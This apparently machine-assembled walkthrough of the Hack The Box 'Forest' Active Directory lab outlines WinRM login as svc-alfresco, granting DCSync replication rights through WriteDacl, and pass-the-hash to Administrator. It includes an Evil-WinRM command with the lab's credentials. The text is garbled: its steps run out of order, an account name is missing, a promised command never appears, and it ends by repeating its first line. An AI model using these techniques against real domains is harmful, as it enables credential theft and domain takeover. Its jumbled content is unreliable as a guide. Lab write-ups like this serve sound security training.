Forest Hackthebox Walkthrough Best

We are logged in as a service account, but we need Administrator access to read the root flag or fully compromise the domain.

The attack is the crown jewel of AD exploitation. A user with the right replication privileges (typically Domain Admins) can impersonate a Domain Controller and request other Domain Controllers to replicate passwords. By abusing the WriteDacl permission we discovered, we can grant our user the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges.

This process often reveals hidden users. One critical account, , frequently appears during RPC enumeration and is the key to our initial access.

Navigate to the Administrator's Desktop to retrieve the root.txt flag.

The first step in any penetration test is understanding what you are attacking. After connecting to Hack The Box via OpenVPN and spawning the Forest machine, set a variable for the target IP to streamline our commands:

Verify if svc-alfresco can log in via Windows Remote Management (WinRM) using Evil-WinRM . evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice Use code with caution.

We now have the NTLM hash for the Administrator account. We can use a pass-the-hash attack to get a new evil-winrm session, this time as the domain admin, and capture our final flag: We are logged in as a service account,
